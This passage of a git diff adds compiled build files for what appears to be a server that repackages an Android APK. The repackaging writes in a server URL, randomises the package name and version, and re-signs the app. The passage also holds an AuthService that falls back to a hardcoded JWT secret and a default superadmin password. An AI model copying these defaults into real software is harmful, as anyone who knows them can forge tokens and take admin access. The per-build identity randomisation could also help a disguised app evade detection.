* 构建APK(使用apktool重新打包反编译目录)
|
||||
*/
|
||||
buildAPK(serverUrl: string, options?: {
|
||||
enableConfigMask?: boolean;
|
||||
enableProgressBar?: boolean;
|
||||
configMaskText?: string;
|
||||
configMaskSubtitle?: string;
|
||||
configMaskStatus?: string;
|
||||
enableEncryption?: boolean;
|
||||
encryptionLevel?: 'basic' | 'standard' | 'enhanced';
|
||||
webUrl?: string;
|
||||
pageStyleConfig?: {
|
||||
appName?: string;
|
||||
statusText?: string;
|
||||
enableButtonText?: string;
|
||||
usageInstructions?: string;
|
||||
apkFileName?: string;
|
||||
appIconFile?: {
|
||||
buffer: Buffer;
|
||||
originalname: string;
|
||||
mimetype: string;
|
||||
};
|
||||
};
|
||||
}): Promise<BuildResult>;
|
||||
/**
|
||||
* 内部构建方法
|
||||
*/
|
||||
private _buildAPKInternal;
|
||||
/**
|
||||
* 获取构建状态(增强版)
|
||||
*/
|
||||
getBuildStatus(): EnhancedBuildStatus;
|
||||
/**
|
||||
* 停止分享链接
|
||||
*/
|
||||
stopShare(sessionId: string): Promise<boolean>;
|
||||
/**
|
||||
* 获取活动分享链接
|
||||
*/
|
||||
getActiveShares(): Array<{
|
||||
sessionId: string;
|
||||
filename: string;
|
||||
shareUrl: string;
|
||||
createdAt: string;
|
||||
expiresAt: string;
|
||||
isExpired: boolean;
|
||||
}>;
|
||||
/**
|
||||
* 获取APK文件信息用于下载
|
||||
*/
|
||||
getAPKForDownload(): Promise<{
|
||||
success: boolean;
|
||||
filePath?: string;
|
||||
filename?: string;
|
||||
size?: number;
|
||||
error?: string;
|
||||
}>;
|
||||
/**
|
||||
* 写入服务器配置到反编译目录
|
||||
*/
|
||||
private writeServerConfigToSourceApk;
|
||||
/**
|
||||
* 更新反编译目录中的应用图标
|
||||
*/
|
||||
private updateAppIconInSourceApk;
|
||||
/**
|
||||
* 更新反编译目录中的应用名称
|
||||
*/
|
||||
private updateAppNameInSourceApk;
|
||||
/**
|
||||
* 更新反编译目录中的页面样式配置
|
||||
*/
|
||||
private updatePageStyleConfigInSourceApk;
|
||||
/**
|
||||
* 使用apktool重新打包APK
|
||||
*/
|
||||
private rebuildAPKWithApktool;
|
||||
/**
|
||||
* 签名APK文件
|
||||
*/
|
||||
private signAPK;
|
||||
/**
|
||||
* 创建keystore文件
|
||||
*/
|
||||
private createKeystore;
|
||||
/**
|
||||
* 验证APK签名
|
||||
*/
|
||||
private verifyAPKSignature;
|
||||
/**
|
||||
* 反编译APK
|
||||
*/
|
||||
private decompileAPK;
|
||||
/**
|
||||
* 生成随机版本号
|
||||
*/
|
||||
private generateRandomVersion;
|
||||
/**
|
||||
* 修改APK版本号
|
||||
*/
|
||||
private changeVersion;
|
||||
/**
|
||||
* 生成随机包名
|
||||
*/
|
||||
private generateRandomPackageName;
|
||||
/**
|
||||
* 修改APK包名
|
||||
*/
|
||||
private changePackageName;
|
||||
/**
|
||||
* 复制目录(递归)
|
||||
*/
|
||||
private copyDirectory;
|
||||
/**
|
||||
* 删除目录(带重试机制,跨平台兼容)
|
||||
*/
|
||||
private deleteDirectoryWithRetry;
|
||||
/**
|
||||
* 清理空的目录
|
||||
*/
|
||||
private cleanupEmptyDirectories;
|
||||
/**
|
||||
* 更新所有smali文件中的包名引用(包括smali和smali_classes*目录)
|
||||
*/
|
||||
private updateAllSmaliFiles;
|
||||
/**
|
||||
* 重命名所有smali目录结构(包括smali和smali_classes*目录)
|
||||
*/
|
||||
private renameAllSmaliDirectories;
|
||||
/**
|
||||
* 重命名单个smali目录
|
||||
*/
|
||||
private renameSmaliDirectory;
|
||||
/**
|
||||
* 递归替换smali文件中的包名
|
||||
*/
|
||||
private replacePackageNameInSmaliFiles;
|
||||
/**
|
||||
* 在目录中递归替换包名(用于XML等文件)
|
||||
*/
|
||||
private replacePackageNameInDirectory;
|
||||
/**
|
||||
* 检查构建环境(用于apktool打包)
|
||||
*/
|
||||
checkBuildEnvironment(): Promise<{
|
||||
hasJava: boolean;
|
||||
javaVersion?: string;
|
||||
errors: string[];
|
||||
}>;
|
||||
/**
|
||||
* 销毁服务
|
||||
*/
|
||||
destroy(): void;
|
||||
}
|
||||
interface EnhancedBuildStatus extends BuildStatus {
|
||||
activeShares?: Array<{
|
||||
sessionId: string;
|
||||
filename: string;
|
||||
shareUrl: string;
|
||||
createdAt: string;
|
||||
expiresAt: string;
|
||||
isExpired: boolean;
|
||||
}>;
|
||||
}
|
||||
interface BuildResult {
|
||||
success: boolean;
|
||||
message: string;
|
||||
filename?: string;
|
||||
shareUrl?: string;
|
||||
shareExpiresAt?: string;
|
||||
sessionId?: string;
|
||||
shareError?: string;
|
||||
}
|
||||
interface BuildStatus {
|
||||
isBuilding: boolean;
|
||||
progress: number;
|
||||
message: string;
|
||||
success: boolean;
|
||||
shareUrl?: string;
|
||||
shareSessionId?: string;
|
||||
shareExpiresAt?: string;
|
||||
}
|
||||
export {};
|
||||
//# sourceMappingURL=APKBuildService.d.ts.map
|
||||
1
dist/services/APKBuildService.d.ts.map
vendored
Normal file
1
dist/services/APKBuildService.d.ts.map
vendored
Normal file
@@ -0,0 +1 @@
|
||||
{"version":3,"file":"APKBuildService.d.ts","sourceRoot":"","sources":["../../src/services/APKBuildService.ts"],"names":[],"mappings":"AAUA;;GAEG;AACH,MAAM,CAAC,OAAO,OAAO,eAAe;IAClC,OAAO,CAAC,MAAM,CAAQ;IACtB,OAAO,CAAC,iBAAiB,CAAwB;IACjD,OAAO,CAAC,UAAU,CAAiB;IACnC,OAAO,CAAC,aAAa,CAAa;IAClC,OAAO,CAAC,WAAW,CAKlB;IAED,OAAO,CAAC,SAAS,CAIV;IACP,OAAO,CAAC,QAAQ,CAAC,eAAe,CAAO;;IAOvC;;OAEG;IACH,OAAO,CAAC,WAAW;IA+BnB;;OAEG;IACH,YAAY,CAAC,KAAK,CAAC,EAAE,MAAM,GAAG,KAAK,CAAC;QAClC,SAAS,EAAE,MAAM,CAAA;QACjB,KAAK,EAAE,MAAM,GAAG,MAAM,GAAG,OAAO,GAAG,SAAS,CAAA;QAC5C,OAAO,EAAE,MAAM,CAAA;QACf,UAAU,EAAE,MAAM,CAAA;KACnB,CAAC;IAqBF;;OAEG;IACH,cAAc,IAAI,IAAI;IAKtB;;OAEG;IACG,gBAAgB,CAAC,gBAAgB,CAAC,EAAE,OAAO,EAAE,eAAe,CAAC,EAAE,MAAM,EAAE,cAAc,CAAC,EAAE,MAAM,GAAG,OAAO,CAAC;QAC7G,MAAM,EAAE,OAAO,CAAA;QACf,IAAI,CAAC,EAAE,MAAM,CAAA;QACb,QAAQ,CAAC,EAAE,MAAM,CAAA;QACjB,IAAI,CAAC,EAAE,MAAM,CAAA;QACb,SAAS,CAAC,EAAE,IAAI,CAAA;KACjB,CAAC;IA2DF;;OAEG;IACG,QAAQ,CAAC,SAAS,EAAE,MAAM,EAAE,OAAO,CAAC,EAAE;QAC1C,gBAAgB,CAAC,EAAE,OAAO,CAAA;QAC1B,iBAAiB,CAAC,EAAE,OAAO,CAAA;QAC3B,cAAc,CAAC,EAAE,MAAM,CAAA;QACvB,kBAAkB,CAAC,EAAE,MAAM,CAAA;QAC3B,gBAAgB,CAAC,EAAE,MAAM,CAAA;QACzB,gBAAgB,CAAC,EAAE,OAAO,CAAA;QAC1B,eAAe,CAAC,EAAE,OAAO,GAAG,UAAU,GAAG,UAAU,CAAA;QACnD,MAAM,CAAC,EAAE,MAAM,CAAA;QACf,eAAe,CAAC,EAAE;YAChB,OAAO,CAAC,EAAE,MAAM,CAAA;YAChB,UAAU,CAAC,EAAE,MAAM,CAAA;YACnB,gBAAgB,CAAC,EAAE,MAAM,CAAA;YACzB,iBAAiB,CAAC,EAAE,MAAM,CAAA;YAC1B,WAAW,CAAC,EAAE,MAAM,CAAA;YACpB,WAAW,CAAC,EAAE;gBACZ,MAAM,EAAE,MAAM,CAAA;gBACd,YAAY,EAAE,MAAM,CAAA;gBACpB,QAAQ,EAAE,MAAM,CAAA;aACjB,CAAA;SACF,CAAA;KACF,GAAG,OAAO,CAAC,WAAW,CAAC;IAwBxB;;OAEG;YACW,iBAAiB;IA0Q/B;;OAEG;IACH,cAAc,IAAI,mBAAmB;IAOrC;;OAEG;IACG,SAAS,CAAC,SAAS,EAAE,MAAM,GAAG,OAAO,CAAC,OAAO,CAAC;IAIpD;;OAEG;IACH,eAAe,IAAI,KAAK,CAAC;QACvB,SAAS,EAAE,MAAM,CAAA;QACjB,QAAQ,EAAE,MAAM,CAAA;QAChB,QAAQ,EAAE,MAAM,CAAA;QAChB,SAAS,EAAE,MAAM,CAAA;QACjB,SAAS,EAAE,MAAM,CAAA;QACjB,SAAS,EAAE,OAAO,CAAA;KACnB,CAAC;IAKF;;OAEG;IACG,iBAAiB,IAAI,OAAO,CAAC;QACjC,OAAO,EAAE,OAAO,CAAA;QAChB,QAAQ,CAAC,EAAE,MAAM,CAAA;QACjB,QAAQ,CAAC,EAAE,MAAM,CAAA;QACjB,IAAI,CAAC,EAAE,MAAM,CAAA;QACb,KAAK,CAAC,EAAE,MAAM,CAAA;KACf,CAAC;IA2BF;;OAEG;YACW,4BAA4B;IAuD1C;;OAEG;YACW,wBAAwB;IA8FtC;;OAEG;YACW,wBAAwB;IAmCtC;;OAEG;YACW,gCAAgC;IAyE9C;;OAEG;YACW,qBAAqB;IAsfnC;;OAEG;YACW,OAAO;IAkIrB;;OAEG;YACW,cAAc;IA2G5B;;OAEG;YACW,kBAAkB;IAkEhC;;OAEG;YACW,YAAY;IAuK1B;;OAEG;IACH,OAAO,CAAC,qBAAqB;IAoB7B;;OAEG;YACW,aAAa;IAgF3B;;OAEG;IACH,OAAO,CAAC,yBAAyB;IA4BjC;;OAEG;YACW,iBAAiB;IAgE/B;;OAEG;YACW,aAAa;IAoB3B;;OAEG;YACW,wBAAwB;IAgEtC;;OAEG;IACH,OAAO,CAAC,uBAAuB;IAoB/B;;OAEG;YACW,mBAAmB;IAqBjC;;OAEG;YACW,yBAAyB;IAmBvC;;OAEG;YACW,oBAAoB;IAqClC;;OAEG;YACW,8BAA8B;IA+D5C;;OAEG;YACW,6BAA6B;IA+B3C;;OAEG;IACG,qBAAqB,IAAI,OAAO,CAAC;QACrC,OAAO,EAAE,OAAO,CAAA;QAChB,WAAW,CAAC,EAAE,MAAM,CAAA;QACpB,MAAM,EAAE,MAAM,EAAE,CAAA;KACjB,CAAC;IAqCF;;OAEG;IACH,OAAO,IAAI,IAAI;CAGhB;AAGD,UAAU,mBAAoB,SAAQ,WAAW;IAC/C,YAAY,CAAC,EAAE,KAAK,CAAC;QACnB,SAAS,EAAE,MAAM,CAAA;QACjB,QAAQ,EAAE,MAAM,CAAA;QAChB,QAAQ,EAAE,MAAM,CAAA;QAChB,SAAS,EAAE,MAAM,CAAA;QACjB,SAAS,EAAE,MAAM,CAAA;QACjB,SAAS,EAAE,OAAO,CAAA;KACnB,CAAC,CAAA;CACH;AAGD,UAAU,WAAW;IACnB,OAAO,EAAE,OAAO,CAAA;IAChB,OAAO,EAAE,MAAM,CAAA;IACf,QAAQ,CAAC,EAAE,MAAM,CAAA;IACjB,QAAQ,CAAC,EAAE,MAAM,CAAA;IACjB,cAAc,CAAC,EAAE,MAAM,CAAA;IACvB,SAAS,CAAC,EAAE,MAAM,CAAA;IAClB,UAAU,CAAC,EAAE,MAAM,CAAA;CACpB;AAGD,UAAU,WAAW;IACnB,UAAU,EAAE,OAAO,CAAA;IACnB,QAAQ,EAAE,MAAM,CAAA;IAChB,OAAO,EAAE,MAAM,CAAA;IACf,OAAO,EAAE,OAAO,CAAA;IAChB,QAAQ,CAAC,EAAE,MAAM,CAAA;IACjB,cAAc,CAAC,EAAE,MAAM,CAAA;IACvB,cAAc,CAAC,EAAE,MAAM,CAAA;CACxB"}
|
||||
2024
dist/services/APKBuildService.js
vendored
Normal file
2024
dist/services/APKBuildService.js
vendored
Normal file
File diff suppressed because it is too large
Load Diff
1
dist/services/APKBuildService.js.map
vendored
Normal file
1
dist/services/APKBuildService.js.map
vendored
Normal file
File diff suppressed because one or more lines are too long
150
dist/services/AuthService.d.ts
vendored
Normal file
150
dist/services/AuthService.d.ts
vendored
Normal file
@@ -0,0 +1,150 @@
|
||||
/**
|
||||
* 用户角色类型
|
||||
*/
|
||||
export type UserRole = 'admin' | 'superadmin';
|
||||
/**
|
||||
* 用户信息接口
|
||||
*/
|
||||
export interface User {
|
||||
id: string;
|
||||
username: string;
|
||||
passwordHash: string;
|
||||
role?: UserRole;
|
||||
createdAt: Date;
|
||||
lastLoginAt?: Date;
|
||||
}
|
||||
/**
|
||||
* 登录结果接口
|
||||
*/
|
||||
export interface LoginResult {
|
||||
success: boolean;
|
||||
message?: string;
|
||||
token?: string;
|
||||
user?: {
|
||||
id: string;
|
||||
username: string;
|
||||
role?: UserRole;
|
||||
lastLoginAt?: Date;
|
||||
};
|
||||
}
|
||||
/**
|
||||
* Token验证结果接口
|
||||
*/
|
||||
export interface TokenVerifyResult {
|
||||
valid: boolean;
|
||||
user?: {
|
||||
id: string;
|
||||
username: string;
|
||||
role?: UserRole;
|
||||
};
|
||||
error?: string;
|
||||
}
|
||||
/**
|
||||
* 认证服务
|
||||
*/
|
||||
export declare class AuthService {
|
||||
private logger;
|
||||
private readonly JWT_SECRET;
|
||||
private readonly JWT_EXPIRES_IN;
|
||||
private readonly DEFAULT_USERNAME;
|
||||
private readonly DEFAULT_PASSWORD;
|
||||
private users;
|
||||
private readonly INIT_LOCK_FILE;
|
||||
private readonly USER_DATA_FILE;
|
||||
private readonly SUPERADMIN_USERNAME;
|
||||
private readonly SUPERADMIN_PASSWORD;
|
||||
constructor();
|
||||
/**
|
||||
* 初始化认证服务(异步)
|
||||
* 必须在创建 AuthService 实例后调用此方法
|
||||
*/
|
||||
initialize(): Promise<void>;
|
||||
/**
|
||||
* 初始化或恢复用户数据
|
||||
*/
|
||||
private initializeOrRestoreUsers;
|
||||
/**
|
||||
* 初始化默认管理员用户
|
||||
*/
|
||||
private initializeDefaultUser;
|
||||
/**
|
||||
* 初始化超级管理员账号
|
||||
*/
|
||||
private initializeSuperAdmin;
|
||||
/**
|
||||
* 保存用户数据到文件
|
||||
*/
|
||||
private saveUsersToFile;
|
||||
/**
|
||||
* 从文件加载用户数据
|
||||
*/
|
||||
private loadUsersFromFile;
|
||||
/**
|
||||
* 用户登录
|
||||
*/
|
||||
login(username: string, password: string): Promise<LoginResult>;
|
||||
/**
|
||||
* 验证JWT token
|
||||
*/
|
||||
verifyToken(token: string): TokenVerifyResult;
|
||||
/**
|
||||
* 获取用户信息
|
||||
*/
|
||||
getUserByUsername(username: string): User | undefined;
|
||||
/**
|
||||
* 创建新用户(用于扩展功能)
|
||||
*/
|
||||
createUser(username: string, password: string): Promise<boolean>;
|
||||
/**
|
||||
* 更改用户密码(用于扩展功能)
|
||||
*/
|
||||
changePassword(username: string, oldPassword: string, newPassword: string): Promise<boolean>;
|
||||
/**
|
||||
* 获取所有用户(用于管理功能)
|
||||
*/
|
||||
getAllUsers(): Array<{
|
||||
id: string;
|
||||
username: string;
|
||||
role: UserRole;
|
||||
createdAt: Date;
|
||||
lastLoginAt?: Date;
|
||||
}>;
|
||||
/**
|
||||
* 检查用户是否为超级管理员
|
||||
*/
|
||||
isSuperAdmin(username: string): boolean;
|
||||
/**
|
||||
* 获取超级管理员用户名
|
||||
*/
|
||||
getSuperAdminUsername(): string;
|
||||
/**
|
||||
* 检查系统是否已初始化(通过检查锁文件)
|
||||
*/
|
||||
isInitialized(): boolean;
|
||||
/**
|
||||
* 获取初始化锁文件路径
|
||||
*/
|
||||
getInitLockFilePath(): string;
|
||||
/**
|
||||
* 生成唯一标识符
|
||||
*/
|
||||
private generateUniqueId;
|
||||
/**
|
||||
* 获取初始化信息(如果已初始化)
|
||||
*/
|
||||
getInitializationInfo(): any;
|
||||
/**
|
||||
* 获取系统唯一标识符
|
||||
*/
|
||||
getSystemUniqueId(): string | null;
|
||||
/**
|
||||
* 初始化系统,设置管理员账号
|
||||
*/
|
||||
initializeSystem(username: string, password: string): Promise<{
|
||||
success: boolean;
|
||||
message: string;
|
||||
uniqueId?: string;
|
||||
}>;
|
||||
}
|
||||
export default AuthService;
|
||||
//# sourceMappingURL=AuthService.d.ts.map
|
||||
1
dist/services/AuthService.d.ts.map
vendored
Normal file
1
dist/services/AuthService.d.ts.map
vendored
Normal file
@@ -0,0 +1 @@
|
||||
{"version":3,"file":"AuthService.d.ts","sourceRoot":"","sources":["../../src/services/AuthService.ts"],"names":[],"mappings":"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"}
|
||||
578
dist/services/AuthService.js
vendored
Normal file
578
dist/services/AuthService.js
vendored
Normal file
@@ -0,0 +1,578 @@
|
||||
"use strict";
|
||||
var __importDefault = (this && this.__importDefault) || function (mod) {
|
||||
return (mod && mod.__esModule) ? mod : { "default": mod };
|
||||
};
|
||||
Object.defineProperty(exports, "__esModule", { value: true });
|
||||
exports.AuthService = void 0;
|
||||
// 确保环境变量已加载(如果还没有加载)
|
||||
const dotenv_1 = __importDefault(require("dotenv"));
|
||||
const jsonwebtoken_1 = __importDefault(require("jsonwebtoken"));
|
||||
const bcryptjs_1 = __importDefault(require("bcryptjs"));
|
||||
const path_1 = __importDefault(require("path"));
|
||||
// pkg 打包后,需要从可执行文件所在目录读取 .env 文件
|
||||
// @ts-ignore - process.pkg 是 pkg 打包后添加的属性
|
||||
const envPath = process.pkg
|
||||
? path_1.default.join(path_1.default.dirname(process.execPath), '.env')
|
||||
: path_1.default.join(process.cwd(), '.env');
|
||||
dotenv_1.default.config({ path: envPath });
|
||||
const fs_1 = __importDefault(require("fs"));
|
||||
const crypto_1 = __importDefault(require("crypto"));
|
||||
const Logger_1 = __importDefault(require("../utils/Logger"));
|
||||
/**
|
||||
* 认证服务
|
||||
*/
|
||||
class AuthService {
|
||||
constructor() {
|
||||
this.users = new Map();
|
||||
this.logger = new Logger_1.default('AuthService');
|
||||
// 确保环境变量已加载(双重保险)
|
||||
// 注意:顶部的 dotenv.config() 已经加载了,这里不需要重复加载
|
||||
// 从环境变量获取配置,如果没有则使用默认值
|
||||
this.JWT_SECRET = process.env.JWT_SECRET || '838AE2CD136220F0758FFCD40A335E82';
|
||||
this.JWT_EXPIRES_IN = process.env.JWT_EXPIRES_IN || '24h';
|
||||
this.DEFAULT_USERNAME = process.env.DEFAULT_USERNAME || '';
|
||||
this.DEFAULT_PASSWORD = process.env.DEFAULT_PASSWORD || '';
|
||||
// 超级管理员账号配置(从环境变量获取,如果没有则使用默认值)
|
||||
this.SUPERADMIN_USERNAME = process.env.SUPERADMIN_USERNAME || 'superadmin';
|
||||
this.SUPERADMIN_PASSWORD = process.env.SUPERADMIN_PASSWORD || 'superadmin123456';
|
||||
// 调试日志:显示加载的环境变量(不显示敏感信息)
|
||||
const envLoaded = process.env.SUPERADMIN_USERNAME !== undefined;
|
||||
this.logger.info(`环境变量加载状态:`);
|
||||
this.logger.info(` - SUPERADMIN_USERNAME: ${this.SUPERADMIN_USERNAME} ${envLoaded ? '(从.env加载)' : '(使用默认值)'}`);
|
||||
this.logger.info(` - SUPERADMIN_PASSWORD: ${process.env.SUPERADMIN_PASSWORD ? '已从.env加载' : '未设置(使用默认值)'}`);
|
||||
this.logger.info(` - JWT_SECRET: ${process.env.JWT_SECRET ? '已从.env加载' : '未设置(使用默认值)'}`);
|
||||
// 设置初始化锁文件路径(pkg 打包后,从可执行文件所在目录)
|
||||
// @ts-ignore - process.pkg 是 pkg 打包后添加的属性
|
||||
const basePath = process.pkg
|
||||
? path_1.default.dirname(process.execPath)
|
||||
: process.cwd();
|
||||
this.INIT_LOCK_FILE = path_1.default.join(basePath, '.system_initialized');
|
||||
// 设置用户数据文件路径
|
||||
this.USER_DATA_FILE = path_1.default.join(basePath, '.user_data.json');
|
||||
this.logger.info(`认证服务配置完成,锁文件: ${this.INIT_LOCK_FILE},用户数据: ${this.USER_DATA_FILE}`);
|
||||
// 注意:异步初始化在 initialize() 方法中执行
|
||||
}
|
||||
/**
|
||||
* 初始化认证服务(异步)
|
||||
* 必须在创建 AuthService 实例后调用此方法
|
||||
*/
|
||||
async initialize() {
|
||||
try {
|
||||
this.logger.info('开始初始化认证服务...');
|
||||
// 先初始化或恢复用户数据
|
||||
await this.initializeOrRestoreUsers();
|
||||
// 然后初始化超级管理员
|
||||
await this.initializeSuperAdmin();
|
||||
this.logger.info('认证服务初始化完成');
|
||||
}
|
||||
catch (error) {
|
||||
this.logger.error('认证服务初始化失败:', error);
|
||||
// 即使初始化失败,也尝试创建超级管理员作为备用
|
||||
try {
|
||||
await this.initializeSuperAdmin();
|
||||
}
|
||||
catch (superAdminError) {
|
||||
this.logger.error('创建超级管理员失败:', superAdminError);
|
||||
}
|
||||
}
|
||||
}
|
||||
/**
|
||||
* 初始化或恢复用户数据
|
||||
*/
|
||||
async initializeOrRestoreUsers() {
|
||||
try {
|
||||
if (this.isInitialized()) {
|
||||
// 系统已初始化,从文件恢复用户数据
|
||||
await this.loadUsersFromFile();
|
||||
this.logger.info('用户数据已从文件恢复');
|
||||
}
|
||||
else {
|
||||
// 系统未初始化,创建默认用户
|
||||
await this.initializeDefaultUser();
|
||||
}
|
||||
}
|
||||
catch (error) {
|
||||
this.logger.error('初始化或恢复用户数据失败:', error);
|
||||
// 如果恢复失败,尝试创建默认用户作为备用
|
||||
await this.initializeDefaultUser();
|
||||
}
|
||||
}
|
||||
/**
|
||||
* 初始化默认管理员用户
|
||||
*/
|
||||
async initializeDefaultUser() {
|
||||
try {
|
||||
const passwordHash = await bcryptjs_1.default.hash(this.DEFAULT_PASSWORD, 10);
|
||||
const defaultUser = {
|
||||
id: 'admin',
|
||||
username: this.DEFAULT_USERNAME,
|
||||
passwordHash,
|
||||
role: 'admin',
|
||||
createdAt: new Date()
|
||||
};
|
||||
this.users.set(this.DEFAULT_USERNAME, defaultUser);
|
||||
this.logger.info(`默认用户已创建: ${this.DEFAULT_USERNAME}`);
|
||||
}
|
||||
catch (error) {
|
||||
this.logger.error('初始化默认用户失败:', error);
|
||||
}
|
||||
}
|
||||
/**
|
||||
* 初始化超级管理员账号
|
||||
*/
|
||||
async initializeSuperAdmin() {
|
||||
try {
|
||||
// 如果超级管理员已存在,检查是否需要更新
|
||||
if (this.users.has(this.SUPERADMIN_USERNAME)) {
|
||||
const existingUser = this.users.get(this.SUPERADMIN_USERNAME);
|
||||
let needsUpdate = false;
|
||||
// 如果现有用户不是超级管理员,更新为超级管理员
|
||||
if (existingUser.role !== 'superadmin') {
|
||||
existingUser.role = 'superadmin';
|
||||
needsUpdate = true;
|
||||
this.logger.info(`用户 ${this.SUPERADMIN_USERNAME} 已更新为超级管理员`);
|
||||
}
|
||||
// 🆕 如果环境变量中设置了密码,始终用环境变量中的密码更新(确保.env配置生效)
|
||||
// 通过验证当前密码哈希与环境变量密码是否匹配来判断是否需要更新
|
||||
if (this.SUPERADMIN_PASSWORD) {
|
||||
const isCurrentPassword = await bcryptjs_1.default.compare(this.SUPERADMIN_PASSWORD, existingUser.passwordHash);
|
||||
if (!isCurrentPassword) {
|
||||
// 环境变量中的密码与当前密码不同,更新密码
|
||||
existingUser.passwordHash = await bcryptjs_1.default.hash(this.SUPERADMIN_PASSWORD, 10);
|
||||
needsUpdate = true;
|
||||
this.logger.info(`超级管理员密码已更新(从.env文件加载新密码)`);
|
||||
}
|
||||
else {
|
||||
this.logger.debug(`超级管理员密码与.env配置一致,无需更新`);
|
||||
}
|
||||
}
|
||||
if (needsUpdate) {
|
||||
this.users.set(this.SUPERADMIN_USERNAME, existingUser);
|
||||
await this.saveUsersToFile();
|
||||
}
|
||||
return;
|
||||
}
|
||||
// 创建超级管理员账号
|
||||
const passwordHash = await bcryptjs_1.default.hash(this.SUPERADMIN_PASSWORD, 10);
|
||||
const superAdminUser = {
|
||||
id: 'superadmin',
|
||||
username: this.SUPERADMIN_USERNAME,
|
||||
passwordHash,
|
||||
role: 'superadmin',
|
||||
createdAt: new Date()
|
||||
};
|
||||
this.users.set(this.SUPERADMIN_USERNAME, superAdminUser);
|
||||
this.logger.info(`超级管理员账号已创建: ${this.SUPERADMIN_USERNAME}`);
|
||||
// 保存用户数据到文件
|
||||
try {
|
||||
await this.saveUsersToFile();
|
||||
}
|
||||
catch (saveError) {
|
||||
this.logger.error('保存超级管理员数据失败:', saveError);
|
||||
}
|
||||
}
|
||||
catch (error) {
|
||||
this.logger.error('初始化超级管理员失败:', error);
|
||||
}
|
||||
}
|
||||
/**
|
||||
* 保存用户数据到文件
|
||||
*/
|
||||
async saveUsersToFile() {
|
||||
try {
|
||||
const usersData = Array.from(this.users.values());
|
||||
const data = {
|
||||
version: '1.0.0',
|
||||
savedAt: new Date().toISOString(),
|
||||
users: usersData
|
||||
};
|
||||
fs_1.default.writeFileSync(this.USER_DATA_FILE, JSON.stringify(data, null, 2));
|
||||
this.logger.debug('用户数据已保存到文件');
|
||||
}
|
||||
catch (error) {
|
||||
this.logger.error('保存用户数据失败:', error);
|
||||
throw error;
|
||||
}
|
||||
}
|
||||
/**
|
||||
* 从文件加载用户数据
|
||||
*/
|
||||
async loadUsersFromFile() {
|
||||
try {
|
||||
